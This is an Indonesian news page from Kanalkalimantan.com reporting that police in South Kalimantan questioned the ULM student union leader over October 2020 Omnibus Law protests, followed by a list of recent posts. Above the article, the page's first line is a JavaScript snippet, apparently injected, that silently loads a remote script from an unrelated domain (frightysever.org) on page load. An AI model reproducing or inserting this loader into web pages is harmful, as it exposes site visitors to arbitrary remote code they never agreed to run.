(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Terkait Demo Tolak Omnibus Law, Ketua BEM Se Kalsel Diperiksa Polda Kalsel


KANALKALIMANTAN.COM, BANJARMASIN – Direktorat Reskrimum Polda Kalimantan Selatan memanggil dan melakukan pemeriksaan mahasiswa saat aksi menolak Omnibus Law UU Cipta Kerja beberapa waktu lalu.

Menyikapi hal tersebut, mahasiswa merespons dengan menggelar long march dari kampus Universitas Lambung Mangkurat (ULM) ke Polda Kalsel, Senin (26/10/2020).

Dari salah satu mahasiswa, Azkia menyampaikan Jalan kaki dari ULM sampai Polda Kalsel sebagai bentuk dukungan moral atas pemanggilan rekannya.

“Massa long march dari gerbang kampus ULM Banjar sampai Polda Kalsel adalah bentuk dukungan moral kami kepada ketua,” ungkapnya.

Pemanggilan Ketua BEM ULM, Ahdiat Zairullah hari ini di Direktorat Reserse dan Kriminal Umum Polda Kalimantan Selatan, sekitar pukul 10:00 Wita.

Dalam pemanggilan mahasiswa, informasi yang diperoleh kehadirannya ditemani beberapa penasihat hukum dari Borneo Law Firm atau BLF.

Ahdiat sendiri diperiksa penyidik sebagai saksi dalam kasus demo atau unjuk rasa yang dilakukan mahasiswa dan diduga melanggar Pasal 218 KUHP, yakni upaya mengindahkan peringatan dari kepolisian, saat pelaksanaan unjuk rasa jilid 2 pada 15 Oktober 2020 lalu.

Kabid Humas Polda Kalimantan Selatan Kombes M Rifai yang dikonfirmasi, Senin (26/10/2020) siang membenarkan pemanggilan yang bersangkutan dan membenarkan terkait unjuk rasa.

Dalam pemeriksaan lebih dari dua jam dan dicecar 20 pertanyaan. “Ya, tadi yang diajukan dalam pemeriksaan tadi masih bersifat umum,” katanya.

“Pertanyaan seputar identitas dan sebagainya. Jumlah massa aksi, tanggal dan tempat sampai tidak atau adanya peringatan yang diberikan oleh pihak berwenang. Sampai dengan alasan mengapa bertahan hingga larut malam,” tambahnya.

Dikabarkan juga dari dua mahasiswa yang dipanggil, hanya Ahdiat yang mendapat Surat Pemberitahuan Dimulainya Penyidikan (SPDP) perkara tersebut akan diteruskan ke Kejaksaan Tinggi Kalsel.

Dalam menanggapi SPDP tersebut Ahdiyat menyampaikan kooperatif untuk melihat proses hukum ke depannya.

Dalam surat panggilan untuk Ahdiyat, Renaldi, turut juga Wakil Rektor III ULM, dan Wakil Rektor III UIN Antasari di panggil oleh Polda Kalsel.
(Kanalkalimantan.com/putra)

Reporter : Putra
Editor : Cell

Al Ghifari

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

3 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

6 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

6 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

8 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

10 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

11 jam ago

This website uses cookies.